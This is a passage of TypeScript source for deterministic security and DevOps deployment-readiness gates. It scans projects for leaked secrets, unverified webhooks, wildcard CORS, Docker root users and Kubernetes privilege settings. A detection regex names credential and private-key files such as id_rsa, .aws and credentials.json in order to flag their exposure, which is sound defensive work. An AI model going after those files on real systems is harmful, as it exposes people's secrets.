findings;\n}\n\n/** A `'use client'` file reading server secrets through process.env (leaked to the browser). */\nfunction detectClientLeaks(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n for (const node of graph.files) {\n if (!CLIENT_KINDS.has(node.kind)) continue;\n const content = contents.get(node.path);\n if (content === undefined || !USE_CLIENT_RE.test(content)) continue;\n\n const names = new Set<string>();\n PROCESS_ENV_RE.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = PROCESS_ENV_RE.exec(content)) !== null) {\n const name = match[1] ?? match[2];\n if (name !== undefined && !name.startsWith('NEXT_PUBLIC_') && SECRET_ENV_RE.test(name)) {\n names.add(name);\n }\n }\n if (names.size > 0) {\n findings.push({\n file: node.path,\n detail: `'use client' file reads server secret(s) via process.env: ${[...names].sort().join(', ')}`,\n });\n }\n }\n return findings;\n}\n\nfunction isHandlerKind(node: FileNode): boolean {\n const p = node.path.toLowerCase();\n return (\n node.kind === 'api' ||\n node.kind === 'billing' ||\n node.kind === 'route' ||\n node.kind === 'middleware' ||\n node.kind === 'service' ||\n p.includes('/api/') ||\n /(^|\\/)route\\.[cm]?[jt]sx?$/.test(p)\n );\n}\n\nfunction isWebhookHandler(node: FileNode): boolean {\n const p = node.path.toLowerCase();\n const tags = Array.isArray(node.tags) ? node.tags : [];\n const mentionsWebhook = /webhook/.test(p) || tags.includes('webhook') || tags.includes('webhooks');\n const mentionsStripe = /stripe/.test(p) || tags.includes('stripe');\n if (!mentionsWebhook && !mentionsStripe) return false;\n return isHandlerKind(node);\n}\n\n/** Webhook/stripe handlers that read the body but never verify the signature. */\nfunction detectWebhookGaps(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n for (const node of graph.files) {\n if (!isWebhookHandler(node)) continue;\n const content = contents.get(node.path);\n if (content === undefined) continue;\n if (WEBHOOK_VERIFY_RE.test(content)) continue;\n findings.push({\n file: node.path,\n detail:\n 'webhook handler never verifies the signature (no constructEvent/verify); reject unsigned payloads using the raw body',\n });\n }\n return findings;\n}\n\n/** API routes / server actions that consume the request body without schema validation. */\nfunction detectInputValidationGaps(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n for (const node of graph.files) {\n if (isWebhookHandler(node)) continue; // signature verification is that handler's contract\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const p = node.path.toLowerCase();\n const isApi = node.kind === 'api' || p.includes('/api/');\n const isServerAction = USE_SERVER_RE.test(content);\n if (!isApi && !isServerAction) continue;\n\n if (BODY_READ_RE.test(content) && !VALIDATION_RE.test(content)) {\n findings.push({\n file: node.path,\n detail:\n 'reads the request body without a schema/zod parse; validate untrusted input before use',\n });\n }\n }\n return findings;\n}\n\n/** A wildcard `Access-Control-Allow-Origin: *` anywhere in source. */\nfunction detectCors(graph: ProjectGraph, contents: ReadonlyMap<string, string>): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n ACAO_RE.lastIndex = 0;\n let match: RegExpExecArray | null;\n let hit = false;\n while ((match = ACAO_RE.exec(content)) !== null) {\n const window = content.slice(match.index, match.index + 60);\n if (ACAO_WILDCARD_RE.test(window)) {\n findings.push({\n file: node.path,\n line: lineOf(content, match.index),\n detail: 'Access-Control-Allow-Origin: * exposes the endpoint to every origin; pin an allowlist',\n });\n hit = true;\n break; // one CORS finding per file is enough\n }\n }\n if (hit) continue;\n }\n return findings;\n}\n\n/** `getSession()` used to decide authorization where `getUser()` (re-validated) is required. */\nfunction detectAuthRisk(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n for (const node of graph.files) {\n if (!AUTHZ_KINDS.has(node.kind)) continue;\n const content = contents.get(node.path);\n if (content === undefined) continue;\n if (!GET_SESSION_RE.test(content) || GET_USER_RE.test(content)) continue;\n if (!AUTHZ_SIGNAL_RE.test(content)) continue;\n findings.push({\n file: node.path,\n detail:\n 'decides authorization from getSession() (unverified storage read); use getUser() which re-validates with the auth server',\n });\n }\n return findings;\n}\n\n// --- advisory dependency audit ----------------------------------------------\n\nasync function isFileAt(abs: string): Promise<boolean> {\n try {\n return (await stat(abs)).isFile();\n } catch {\n return false;\n }\n}\n\n/**\n * Best-effort `pnpm/npm audit`. Advisory only (never blocks): a missing lockfile,\n * a nonzero exit (vulnerabilities or offline registry), or a spawn failure all\n * degrade to a non-blocking check rather than throwing.\n */\nasync function runDependencyAudit(root: string): Promise<RichCheck> {\n const name = 'dependency-audit';\n\n let command: string | undefined;\n if (await isFileAt(path.join(root, 'pnpm-lock.yaml'))) command = 'pnpm audit --json';\n else if (await isFileAt(path.join(root, 'package-lock.json'))) command = 'npm audit --json';\n\n if (command === undefined) {\n const detail = 'No pnpm/npm lockfile found; dependency audit skipped (advisory).';\n const evidence = makeEvidence({ claim: 'Dependency audit', status: 'unverified', kind: 'command', detail });\n return { required: false, evidence, check: { name, passed: true, detail, evidenceId: evidence.id } };\n }\n\n try {\n const raw = await verifyCommandResult(command, { cwd: root, timeoutMs: AUDIT_TIMEOUT_MS });\n const passed = raw.status === 'verified';\n const detail = passed\n ? `${command} reported no known vulnerabilities.`\n : `${command} exited ${raw.exitCode ?? 'nonzero'} — review advisories (advisory, non-blocking).`;\n const evidence = makeEvidence({\n claim: `Dependency audit (${command}) finds no known vulnerabilities`,\n status: raw.status,\n kind: 'command',\n detail,\n ...(raw.command !== undefined ? { command: raw.command } : {}),\n ...(raw.exitCode !== undefined ? { exitCode: raw.exitCode } : {}),\n ...(raw.output !== undefined ? { output: raw.output } : {}),\n });\n return { required: false, evidence, check: { name, passed, detail, evidenceId: evidence.id } };\n } catch (err) {\n const reason = err instanceof Error ? err.message : String(err);\n const detail = `Dependency audit could not run (${reason}); skipped (advisory).`;\n const evidence = makeEvidence({ claim: 'Dependency audit', status: 'unverified', kind: 'command', detail });\n return { required: false, evidence, check: { name, passed: true, detail, evidenceId: evidence.id } };\n }\n}\n\n// --- public entrypoint ------------------------------------------------------\n\n/**\n * Run the deep security gate against `root`. Returns the `GateResult` (whose\n * `passed` reflects only the required heuristic checks) plus every collected\n * `EvidenceItem`. Findings are `CheckResult`s, never exceptions; `GateError` is\n * thrown only on invalid input or an internal failure.\n *\n * @param root absolute repo root the graph was scanned from.\n * @param graph the project graph (from `scanProject`/`loadGraph`).\n * @param config the workspace config.\n */\nexport async function runSecurityGate(\n root: string,\n graph: ProjectGraph,\n config: CortexConfig,\n): Promise<{ result: GateResult; evidence: EvidenceItem[] }> {\n assertGateInputs(root, graph, config);\n const absRoot = path.resolve(root);\n\n try {\n const contents = await readSources(absRoot, graph);\n\n const rich: RichCheck[] = [\n buildCategory('secrets', 'file', 'hardcoded secret', detectSecrets(graph, contents), true),\n buildCategory(\n 'client-secret-env',\n 'env',\n 'secret exposed via NEXT_PUBLIC_ env var',\n detectPublicEnvSecrets(graph),\n true,\n ),\n buildCategory(\n 'client-secret-leak',\n 'file',\n 'server secret read in a client component',\n detectClientLeaks(graph, contents),\n true,\n ),\n buildCategory(\n 'webhook-signature',\n 'file',\n 'unverified webhook handler',\n detectWebhookGaps(graph, contents),\n true,\n ),\n buildCategory(\n 'input-validation',\n 'file',\n 'unvalidated request body',\n detectInputValidationGaps(graph, contents),\n true,\n ),\n buildCategory('cors', 'file', 'wildcard CORS origin', detectCors(graph, contents), true),\n buildCategory('auth-risk', 'file', 'insecure authorization check', detectAuthRisk(graph, contents), true),\n await runDependencyAudit(absRoot),\n ];\n\n const passed = rich.every((entry) => !entry.required || entry.check.passed);\n\n const result: GateResult = {\n gate: GATE_NAME,\n passed,\n checks: rich.map((entry) => entry.check),\n };\n return { result, evidence: rich.map((entry) => entry.evidence) };\n } catch (err) {\n if (err instanceof GateError) throw err;\n throw new GateError(`Security gate failed at ${absRoot}`, { cause: err });\n }\n}\n","/**\n * DevOps gate (§7.12 + §7.21) — deep, TOKENLESS, DETERMINISTIC deployment-\n * readiness heuristics over the `ProjectGraph` and real file reads (no LLM). It\n * composes the read-only DevOps Commander diagnostics into a single\n * `GateResult` + one `EvidenceItem` per check.\n *\n * A finding is a `CheckResult` (never an exception), so the gate NEVER throws on\n * a detected issue; it throws `GateError` only on invalid input or an internal\n * failure. Commander file reads are fail-safe (an unreadable file is skipped),\n * so one permission error never fails the whole gate.\n *\n * Checks (required ones block; soft ones are advisory) in report order:\n * env-vars (required) every referenced env var is documented in .env.example\n * docker (required) Dockerfile: non-root final USER, no secret COPY\n * secrets-exposure (required) dotenv/keys/credentials in the tree are gitignored\n * k8s-nonroot (required) workload manifests enforce runAsNonRoot / not privileged\n * ci (soft) a CI provider is configured and its config parses\n * vercel-build (soft) Vercel/Next build readiness\n * rollback-plan (soft) a rollback plan is documented\n *\n * A check whose subject is absent (no Dockerfile, no k8s manifests, no env vars)\n * degrades to `unverified` and passes — it is not applicable, not a silent pass.\n *\n * Public API:\n * runDevopsGate(root, graph, config): Promise<{ result: GateResult; evidence: EvidenceItem[] }>\n */\n\nimport { randomUUID } from 'node:crypto';\nimport { readFile, stat } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { GateError } from '../domain/index';\nimport type {\n CheckResult,\n CortexConfig,\n EvidenceItem,\n EvidenceKind,\n EvidenceStatus,\n GateResult,\n ProjectGraph,\n} from '../domain/index';\n\nimport {\n ciHealth,\n diagnoseDocker,\n diagnoseK8s,\n diagnoseVercel,\n productionConfigCheck,\n secretsExposureCheck,\n} from './commander';\nimport type { Diagnostic, DiagnosticFinding } from './commander';\n\n// --- constants --------------------------------------------------------------\n\nconst GATE_NAME = 'devops';\n\n/** Cap findings enumerated inside a single check's detail, so one file can't flood it. */\nconst MAX_FINDINGS_LISTED = 8;\n\n/** Dedicated rollback documents (presence alone satisfies the rollback check). */\nconst ROLLBACK_DOC_CANDIDATES = [\n 'ROLLBACK.md',\n 'ROLLBACK.txt',\n 'rollback.md',\n 'docs/ROLLBACK.md',\n 'docs/rollback.md',\n 'runbooks/rollback.md',\n 'runbook/rollback.md',\n 'docs/runbooks/rollback.md',\n];\n\n/** Docs that may mention a rollback procedure inline. */\nconst ROLLBACK_SCAN_DOCS = [\n 'README.md',\n 'DEPLOY.md',\n 'DEPLOYMENT.md',\n 'docs/deploy.md',\n 'docs/deployment.md',\n 'docs/DEPLOY.md',\n 'RUNBOOK.md',\n 'docs/runbook.md',\n 'OPERATIONS.md',\n 'docs/operations.md',\n];\n\n// --- internal shapes --------------------------------------------------------\n\ninterface RichCheck {\n check: CheckResult;\n /** whether a failure of this check blocks the gate verdict. */\n required: boolean;\n evidence: EvidenceItem;\n}\n\ninterface EvidenceFields {\n claim: string;\n status: EvidenceStatus;\n kind: EvidenceKind;\n detail: string;\n}\n\n// --- guards -----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertGateInputs(root: string, graph: ProjectGraph, config: CortexConfig): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError('DevOps gate requires a non-empty repository root path.');\n }\n if (!isRecord(graph) || !Array.isArray(graph.files) || !Array.isArray(graph.envVars)) {\n throw new GateError('DevOps gate requires a valid ProjectGraph (with files + envVars arrays).');\n }\n if (!isRecord(config)) {\n throw new GateError('DevOps gate requires a valid CortexConfig.');\n }\n}\n\n// --- evidence + fold --------------------------------------------------------\n\nfunction makeEvidence(fields: EvidenceFields): EvidenceItem {\n return {\n id: randomUUID(),\n claim: fields.claim,\n status: fields.status,\n kind: fields.kind,\n detail: fields.detail,\n createdAt: new Date().toISOString(),\n };\n}\n\nfunction renderFinding(finding: DiagnosticFinding): string {\n const where =\n finding.file !== undefined\n ? finding.line !== undefined\n ? `${finding.file}:${finding.line} — `\n : `${finding.file} — `\n : '';\n return `[${finding.severity}] ${where}${finding.message}`;\n}\n\nfunction renderDetail(diag: Diagnostic): string {\n if (diag.findings.length === 0) return diag.summary;\n const shown = diag.findings.slice(0, MAX_FINDINGS_LISTED).map(renderFinding).join('; ');\n const extra =\n diag.findings.length > MAX_FINDINGS_LISTED\n ? ` (+${diag.findings.length - MAX_FINDINGS_LISTED} more)`\n : '';\n return `${diag.summary} ${shown}${extra}`;\n}\n\n/**\n * Fold a commander `Diagnostic` into a single required/soft gate check + backing\n * evidence. Status mapping: a non-applicable subject is `unverified` (passes); an\n * error finding is `refuted` (fails); a warning-only diagnostic is `partial`\n * (passes); an entirely clean diagnostic is `verified`.\n */\nfunction foldDiagnostic(\n name: string,\n kind: EvidenceKind,\n diag: Diagnostic,\n required: boolean,\n): RichCheck {\n const hasError = diag.findings.some((f) => f.severity === 'error');\n const hasWarning = diag.findings.some((f) => f.severity === 'warning');\n\n let status: EvidenceStatus;\n let passed: boolean;\n if (!diag.applicable) {\n status = 'unverified';\n passed = true;\n } else if (hasError) {\n status = 'refuted';\n passed = false;\n } else if (hasWarning) {\n status = 'partial';\n passed = true;\n } else {\n status = 'verified';\n passed = true;\n }\n\n const detail = renderDetail(diag);\n const evidence = makeEvidence({ claim: `devops:${name}`, status, kind, detail });\n return { required, evidence, check: { name, passed, detail, evidenceId: evidence.id } };\n}\n\n// --- rollback-plan check (inline; not a commander diagnostic) ----------------\n\nasync function isFileAt(abs: string): Promise<boolean> {\n try {\n return (await stat(abs)).isFile();\n } catch {\n return false;\n }\n}\n\nasync function readFileSafe(abs: string): Promise<string | undefined> {\n try {\n return await readFile(abs, 'utf8');\n } catch {\n return undefined;\n }\n}\n\n/**\n * A rollback plan exists if a dedicated ROLLBACK doc is present, an npm script\n * mentions rollback, or a deploy/runbook doc describes a rollback. Absence is a\n * (soft) warning — every deployable project should document how to revert.\n */\nasync function rollbackPlanCheck(root: string, graph: ProjectGraph): Promise<Diagnostic> {\n const absRoot = path.resolve(root);\n\n for (const candidate of ROLLBACK_DOC_CANDIDATES) {\n if (await isFileAt(path.join(absRoot, candidate))) {\n return {\n name: 'rollback-plan',\n applicable: true,\n ok: true,\n findings: [{ severity: 'info', file: candidate, message: 'dedicated rollback plan present.' }],\n summary: `Rollback plan documented (${candidate}).`,\n };\n }\n }\n\n const scripts = isRecord(graph.scripts) ? graph.scripts : {};\n for (const [key, value] of Object.entries(scripts)) {\n if (/rollback/i.test(key) || (typeof value === 'string' && /rollback/i.test(value))) {\n return {\n name: 'rollback-plan',\n applicable: true,\n ok: true,\n findings: [{ severity: 'info', message: `rollback path present (npm script \"${key}\").` }],\n summary: `Rollback path present (script \"${key}\").`,\n };\n }\n }\n\n for (const candidate of ROLLBACK_SCAN_DOCS) {\n const content = await readFileSafe(path.join(absRoot, candidate));\n if (content !== undefined && /\\brollback\\b/i.test(content)) {\n return {\n name: 'rollback-plan',\n applicable: true,\n ok: true,\n findings: [{ severity: 'info', file: candidate, message: 'rollback procedure documented in a runbook/deploy doc.' }],\n summary: `Rollback procedure documented (${candidate}).`,\n };\n }\n }\n\n return {\n name: 'rollback-plan',\n applicable: true,\n ok: true,\n findings: [\n {\n severity: 'warning',\n message:\n 'no rollback plan found (no ROLLBACK doc, rollback npm script, or runbook mention); document how to revert a bad deploy before shipping.',\n },\n ],\n summary: 'No rollback plan documented.',\n };\n}\n\n// --- public entrypoint ------------------------------------------------------\n\n/**\n * Run the deep DevOps gate against `root`. Returns the `GateResult` (whose\n * `passed` reflects only the required checks) plus every collected\n * `EvidenceItem` (exactly one per check). Findings are `CheckResult`s, never\n * exceptions; `GateError` is thrown only on invalid input or an internal failure.\n *\n * @param root absolute repo root the graph was scanned from.\n * @param graph the project graph (from `scanProject`/`loadGraph`).\n * @param config the workspace config.\n */\nexport async function runDevopsGate(\n root: string,\n graph: ProjectGraph,\n config: CortexConfig,\n): Promise<{ result: GateResult; evidence: EvidenceItem[] }> {\n assertGateInputs(root, graph, config);\n const absRoot = path.resolve(root);\n\n try {\n const [prodConfig, docker, secrets, k8s, ci, vercel] = await Promise.all([\n productionConfigCheck(root, graph),\n diagnoseDocker(root),\n secretsExposureCheck(root, graph),\n diagnoseK8s(root),\n ciHealth(root),\n diagnoseVercel(root, graph),\n ]);\n const rollback = await rollbackPlanCheck(root, graph);\n\n const rich: RichCheck[] = [\n foldDiagnostic('env-vars', 'env', prodConfig, true),\n foldDiagnostic('docker', 'file', docker, true),\n foldDiagnostic('secrets-exposure', 'file', secrets, true),\n foldDiagnostic('k8s-nonroot', 'file', k8s, true),\n foldDiagnostic('ci', 'file', ci, false),\n foldDiagnostic('vercel-build', 'file', vercel, false),\n foldDiagnostic('rollback-plan', 'file', rollback, false),\n ];\n\n const passed = rich.every((entry) => !entry.required || entry.check.passed);\n\n const result: GateResult = {\n gate: GATE_NAME,\n passed,\n checks: rich.map((entry) => entry.check),\n };\n return { result, evidence: rich.map((entry) => entry.evidence) };\n } catch (err) {\n if (err instanceof GateError) throw err;\n throw new GateError(`DevOps gate failed at ${absRoot}`, { cause: err });\n }\n}\n","/**\n * DevOps Commander (§7.21) — a READ-ONLY, TOKENLESS, DETERMINISTIC deployment\n * diagnostician. Every function inspects the repo (real file reads) + the\n * `ProjectGraph` and returns a structured `Diagnostic` (findings + an `ok`\n * flag); nothing here mutates the filesystem, spawns a deploy, or calls an LLM.\n *\n * File reads are fail-safe: an unreadable/absent file degrades the relevant\n * diagnostic to `applicable: false` or a warning finding — it never aborts the\n * scan. The only thrown error is `GateError` on invalid input (empty root /\n * malformed graph); a detected deployment defect is a finding, never an\n * exception.\n *\n * Diagnostics (each is independently callable):\n * diagnoseDocker Dockerfile present, non-root final USER, multi-stage,\n * no secret COPY, pinned base image\n * diagnoseVercel Vercel/Next build readiness (vercel.json parses,\n * build script, next.config)\n * diagnoseGithubActions .github/workflows/* parse + trigger/job summary\n * diagnoseK8s workload manifests enforce runAsNonRoot / not privileged\n * productionConfigCheck every referenced env var documented in .env.example\n * secretsExposureCheck dotenv/keys/credentials in the tree are gitignored\n * ciHealth a CI provider is configured and its config parses\n * deploymentReadiness aggregate readiness roll-up over all of the above\n */\n\nimport type { Dirent } from 'node:fs';\nimport { readdir, readFile, stat } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport picomatch from 'picomatch';\nimport { parseAllDocuments } from 'yaml';\n\nimport { GateError } from '../domain/index';\nimport type { CortexConfig, ProjectGraph } from '../domain/index';\n\n// --- public types -----------------------------------------------------------\n\nexport type DiagnosticSeverity = 'info' | 'warning' | 'error';\n\nexport interface DiagnosticFinding {\n /** `error` blocks readiness; `warning` is advisory; `info` is contextual. */\n severity: DiagnosticSeverity;\n message: string;\n /** repo-relative POSIX path the finding refers to, when applicable. */\n file?: string;\n line?: number;\n}\n\nexport interface Diagnostic {\n /** stable diagnostic id, e.g. `docker`, `k8s`, `ci`. */\n name: string;\n /** whether the diagnostic's subject exists in the repo at all. */\n applicable: boolean;\n /** true when the (applicable) diagnostic found no error-severity finding. */\n ok: boolean;\n findings: DiagnosticFinding[];\n /** one-line human summary. */\n summary: string;\n}\n\nexport const DEPLOYMENT_READINESS_LEVELS = ['READY', 'READY_WITH_WARNINGS', 'NOT_READY'] as const;\nexport type DeploymentReadinessLevel = (typeof DEPLOYMENT_READINESS_LEVELS)[number];\n\nexport interface DeploymentReadiness {\n /** true when no diagnostic produced an error-severity finding. */\n ok: boolean;\n level: DeploymentReadinessLevel;\n diagnostics: Diagnostic[];\n /** every finding across all diagnostics, flattened, in diagnostic order. */\n findings: DiagnosticFinding[];\n summary: string;\n}\n\n// --- constants --------------------------------------------------------------\n\nconst SKIP_DIRS: ReadonlySet<string> = new Set([\n 'node_modules',\n '.git',\n 'dist',\n 'build',\n '.next',\n 'out',\n 'coverage',\n '.turbo',\n '.cache',\n 'vendor',\n '.venv',\n 'venv',\n '__pycache__',\n '.idea',\n '.vscode',\n]);\n\n/** Directories a Kubernetes manifest is conventionally found in. */\nconst K8S_DIRS = [\n 'k8s',\n 'kubernetes',\n 'manifests',\n 'deploy',\n 'deployment',\n 'deployments',\n '.k8s',\n 'helm',\n 'charts',\n 'infra',\n 'ops',\n];\n\n/** Kubernetes workload kinds that own a pod template we can inspect. */\nconst WORKLOAD_KINDS: ReadonlySet<string> = new Set([\n 'Pod',\n 'Deployment',\n 'StatefulSet',\n 'DaemonSet',\n 'ReplicaSet',\n 'ReplicationController',\n 'Job',\n 'CronJob',\n]);\n\n/** Env vars supplied by the platform/runtime — not expected in `.env.example`. */\nconst PLATFORM_ENV: ReadonlySet<string> = new Set([\n 'NODE_ENV',\n 'PORT',\n 'HOST',\n 'HOSTNAME',\n 'CI',\n 'TZ',\n 'LANG',\n 'PWD',\n 'HOME',\n 'PATH',\n 'TMPDIR',\n 'VERCEL',\n 'VERCEL_ENV',\n 'VERCEL_URL',\n 'VERCEL_REGION',\n 'NEXT_RUNTIME',\n 'NEXT_PHASE',\n]);\n\nconst ENV_EXAMPLE_FILES = [\n '.env.example',\n '.env.sample',\n '.env.template',\n '.env.dist',\n '.env.defaults',\n 'env.example',\n];\n\n/** File-based CI providers (path relative to root -> label). */\nconst FILE_CI_PROVIDERS: ReadonlyArray<{ file: string; name: string; yaml: boolean }> = [\n { file: '.gitlab-ci.yml', name: 'GitLab CI', yaml: true },\n { file: '.circleci/config.yml', name: 'CircleCI', yaml: true },\n { file: '.travis.yml', name: 'Travis CI', yaml: true },\n { file: 'azure-pipelines.yml', name: 'Azure Pipelines', yaml: true },\n { file: 'Jenkinsfile', name: 'Jenkins', yaml: false },\n { file: 'bitbucket-pipelines.yml', name: 'Bitbucket Pipelines', yaml: true },\n { file: '.drone.yml', name: 'Drone CI', yaml: true },\n];\n\n/** A secret-bearing path: dotenv (non-example), private keys, credentials. */\nconst SECRET_PATH_RE =\n /(^|\\/)\\.env(\\.[a-z0-9_.-]+)?$|\\.pem$|\\.key$|\\.p12$|\\.pfx$|(^|\\/)id_(rsa|dsa|ecdsa|ed25519)$|(^|\\/)\\.npmrc$|(^|\\/)credentials(\\.json|\\.ya?ml)?$|(^|\\/)\\.aws(\\/|$)|(^|\\/)secrets?(\\/|$)/i;\n/** Templates / public keys are safe to copy or commit. */\nconst SECRET_PATH_EXCLUDE = /\\.env\\.(example|sample|template|dist|defaults)$|\\.pub$/i;\n\n// --- shared guards / fs helpers ---------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertRoot(root: string, fn: string): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError(`${fn} requires a non-empty repository root path.`);\n }\n}\n\nfunction assertGraph(graph: ProjectGraph, fn: string): void {\n if (!isRecord(graph) || !Array.isArray(graph.files) || !Array.isArray(graph.envVars)) {\n throw new GateError(`${fn} requires a valid ProjectGraph (with files + envVars arrays).`);\n }\n}\n\nfunction toPosix(p: string): string {\n return p.replace(/\\\\/g, '/');\n}\n\nfunction basenameOf(rel: string): string {\n const normalized = toPosix(rel);\n const idx = normalized.lastIndexOf('/');\n return idx === -1 ? normalized : normalized.slice(idx + 1);\n}\n\nasync function readFileSafe(abs: string): Promise<string | undefined> {\n try {\n return await readFile(abs, 'utf8');\n } catch {\n return undefined;\n }\n}\n\nasync function isFileAt(abs: string): Promise<boolean> {\n try {\n return (await stat(abs)).isFile();\n } catch {\n return false;\n }\n}\n\nasync function isDirAt(abs: string): Promise<boolean> {\n try {\n return (await stat(abs)).isDirectory();\n } catch {\n return false;\n }\n}\n\nasync function firstExistingFile(absRoot: string, names: string[]): Promise<string | undefined> {\n for (const name of names) {\n if (await isFileAt(path.join(absRoot, name))) return name;\n }\n return undefined;\n}\n\n/**\n * Bounded, degrade-don't-crash recursive file collector. Returns repo-relative\n * POSIX paths of every file (under `absDir`) whose relative path + basename\n * satisfy `match`, skipping vendored/build directories and capping total work.\n */\nasync function collectFiles(\n absDir: string,\n match: (rel: string, base: string) => boolean,\n maxDepth = 5,\n cap = 4000,\n): Promise<string[]> {\n const out: string[] = [];\n\n async function recur(current: string, relDir: string, depth: number): Promise<void> {\n if (depth > maxDepth || out.length >= cap) return;\n let entries: Dirent[];\n try {\n entries = await readdir(current, { withFileTypes: true });\n } catch {\n return;\n }\n for (const entry of entries) {\n if (out.length >= cap) return;\n const rel = relDir.length > 0 ? `${relDir}/${entry.name}` : entry.name;\n if (entry.isDirectory()) {\n if (SKIP_DIRS.has(entry.name)) continue;\n await recur(path.join(current, entry.name), rel, depth + 1);\n } else if (entry.isFile() && match(rel, entry.name)) {\n out.push(rel);\n }\n }\n }\n\n await recur(absDir, '', 0);\n out.sort();\n return out;\n}\n\n// --- diagnostic construction ------------------------------------------------\n\nfunction makeDiagnostic(\n name: string,\n applicable: boolean,\n findings: DiagnosticFinding[],\n summary: string,\n): Diagnostic {\n const ok = applicable ? findings.every((f) => f.severity !== 'error') : true;\n return { name, applicable, ok, findings, summary };\n}\n\nfunction countBy(findings: DiagnosticFinding[], severity: DiagnosticSeverity): number {\n return findings.filter((f) => f.severity === severity).length;\n}\n\n// --- yaml ------------------------------------------------------------------\n\n/** Parse a (possibly multi-document) YAML string, tolerating errors per-doc. */\nfunction parseYamlDocuments(content: string): { docs: unknown[]; errors: string[] } {\n const docs: unknown[] = [];\n const errors: string[] = [];\n let parsed: ReturnType<typeof parseAllDocuments>;\n try {\n parsed = parseAllDocuments(content, { logLevel: 'silent' });\n } catch (err) {\n errors.push(err instanceof Error ? err.message : String(err));\n return { docs, errors };\n }\n for (const doc of parsed) {\n if (doc.errors.length > 0) {\n const first = doc.errors[0];\n errors.push(first ? first.message : 'YAML parse error');\n continue;\n }\n docs.push(doc.toJS());\n }\n return { docs, errors };\n}\n\n// ============================================================================\n// Docker\n// ============================================================================\n\ninterface DockerfileInfo {\n fromCount: number;\n finalUser: string | undefined;\n finalUserLine: number | undefined;\n finalUserExplicit: boolean;\n secretCopies: Array<{ spec: string; line: number }>;\n copyAllLines: number[];\n unpinnedBases: Array<{ image: string; line: number }>;\n}\n\nfunction isDockerfileName(base: string): boolean {\n const b = base.toLowerCase();\n if (b === '.dockerignore') return false;\n return b === 'dockerfile' || b.startsWith('dockerfile.') || b.endsWith('.dockerfile');\n}\n\n/** Collapse comments + line-continuations into logical instruction lines. */\nfunction logicalDockerLines(content: string): Array<{ text: string; line: number }> {\n const raw = content.split(/\\r?\\n/);\n const result: Array<{ text: string; line: number }> = [];\n let buffer = '';\n let startLine = 0;\n for (let i = 0; i < raw.length; i += 1) {\n const original = raw[i] ?? '';\n const trimmed = original.trimStart();\n if (buffer.length === 0 && (trimmed.length === 0 || trimmed.startsWith('#'))) continue;\n if (buffer.length === 0) startLine = i + 1;\n const continues = /\\\\\\s*$/.test(original);\n const cleaned = original.replace(/\\\\\\s*$/, '').trim();\n buffer = buffer.length > 0 ? `${buffer} ${cleaned}` : cleaned;\n if (!continues) {\n result.push({ text: buffer, line: startLine });\n buffer = '';\n }\n }\n if (buffer.length > 0) result.push({ text: buffer, line: startLine });\n return result;\n}\n\nfunction isRootUser(user: string | undefined): boolean {\n if (user === undefined) return false;\n const u = user.replace(/^[\"']|[\"']$/g, '').toLowerCase();\n return /^(0|root)(:(0|root))?$/.test(u);\n}\n\nfunction isSecretPath(spec: string): boolean {\n const clean = spec.replace(/^[\"']|[\"']$/g, '');\n if (SECRET_PATH_EXCLUDE.test(clean)) return false;\n return SECRET_PATH_RE.test(clean);\n}\n\nfunction parseDockerfile(content: string): DockerfileInfo {\n const lines = logicalDockerLines(content);\n const stageAliases = new Set<string>();\n const secretCopies: Array<{ spec: string; line: number }> = [];\n const copyAllLines: number[] = [];\n const unpinnedBases: Array<{ image: string; line: number }> = [];\n let fromCount = 0;\n let finalUser: string | undefined;\n let finalUserLine: number | undefined;\n let finalUserExplicit = false;\n\n for (const { text, line } of lines) {\n const m = /^(\\w+)\\s+(.*)$/.exec(text);\n if (!m) continue;\n const instruction = (m[1] ?? '').toUpperCase();\n const args = (m[2] ?? '').trim();\n\n if (instruction === 'FROM') {\n fromCount += 1;\n // A new build stage inherits its user from its own base image, not from a\n // previous stage — reset the final-stage user tracking.\n finalUser = undefined;\n finalUserLine = undefined;\n finalUserExplicit = false;\n\n const parts = args.split(/\\s+/).filter((p) => p.length > 0);\n const image = parts[0] ?? '';\n const asIdx = parts.findIndex((p) => p.toLowerCase() === 'as');\n if (asIdx !== -1) {\n const alias = parts[asIdx + 1];\n if (alias !== undefined) stageAliases.add(alias.toLowerCase());\n }\n const imgLower = image.toLowerCase();\n if (\n image.length > 0 &&\n imgLower !== 'scratch' &&\n !stageAliases.has(imgLower) &&\n !image.includes('$')\n ) {\n const digestPinned = image.includes('@');\n const tag = image.split(':')[1] ?? '';\n if (!digestPinned && (tag.length === 0 || tag.toLowerCase() === 'latest')) {\n unpinnedBases.push({ image, line });\n }\n }\n } else if (instruction === 'USER') {\n const val = args.split(/\\s+/)[0] ?? '';\n finalUser = val;\n finalUserLine = line;\n finalUserExplicit = val.length > 0;\n } else if (instruction === 'COPY' || instruction === 'ADD') {\n const tokens = args.split(/\\s+/).filter((t) => t.length > 0);\n const fromFlag = tokens.some((t) => /^--from=/i.test(t));\n const sources = tokens.filter((t) => !t.startsWith('--'));\n // Last token is the destination; everything before it is a source.\n const srcs = sources.slice(0, Math.max(0, sources.length - 1));\n for (const src of srcs) {\n if (fromFlag) continue; // `--from=<stage>` copies from an image layer, not the build context\n if (src === '.') copyAllLines.push(line);\n if (isSecretPath(src)) secretCopies.push({ spec: src, line });\n }\n }\n }\n\n return {\n fromCount,\n finalUser,\n finalUserLine,\n finalUserExplicit,\n secretCopies,\n 